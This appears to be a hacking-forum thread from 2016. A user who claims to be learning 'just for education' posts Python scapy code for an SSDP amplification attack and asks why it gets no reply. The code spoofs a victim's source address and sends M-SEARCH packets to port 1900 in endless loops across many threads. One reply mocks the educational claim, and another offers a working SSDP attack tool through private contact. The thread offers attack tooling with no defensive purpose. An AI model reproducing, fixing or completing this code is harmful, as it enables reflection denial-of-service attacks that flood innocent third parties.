Home Upgrade Search Memberlist Extras Hacker Tools Award Goals Help Wiki Contact

Python 

SSDP amplification program

I want to learn how to program ssdp amplification attack
Just for education.
I send ssdp message to window 8 with my code.The code is as follow.But nothing reply.
Code
from scapy.all import *
from threading import *
import sys
import os
class ready(Thread):
    def __init__ (self,threadid,data):
        Thread.__init__(self)
        self.threadid=threadid
        self.data=data
    def run(self):
        while 1:
            send(IP(dst=sys.argv[2],src=sys.argv[3])/UDP(sport=1900,dport=1900)/Raw(load=self.data))    
        
if(__name__)=="__main__":
    sendthread=[]
    data="M-SEARCH * HTTP/1.1\r\n"+"ST:%(library)s:%(service)s\r\n"+"MX: 3\r\n"+"MAN: \"ssdp:discover\"\r\n"+"HOST:239.255.255.250:1900\r\n\r\n"
    for i in range(1,int(sys.argv[1])+1):
                  sendthread.append(ready(i,data))
                  sendthread[i-1].start()

Please help me
"just for education".

Also, why does this have to be your first post? And likely your last, seeing as how this was posted yesterday.
(Jun 21, 2016 02:45 AM)Jerry Smith Wrote:  "just for education".

Also, why does this have to be your first post? And likely your last, seeing as how this was posted yesterday.

Because he is new at forum.

I have ssdp attacker but it's not python u must contact me.


Possibly Related Threads...
Thread / Author Replies Views Last Post
[Java] by L3GIT_Mar 5, 2016 09:10 AM 0 140 Mar 5, 2016 09:10 AM
Last Post: L3GIT_
[Java] by L3GIT_Feb 28, 2016 07:22 AM 0 148 Feb 28, 2016 07:22 AM
Last Post: L3GIT_
[C] by DerekMFeb 17, 2015 08:34 PM 3 341 Feb 17, 2015 08:34 PM
Last Post: Zettabit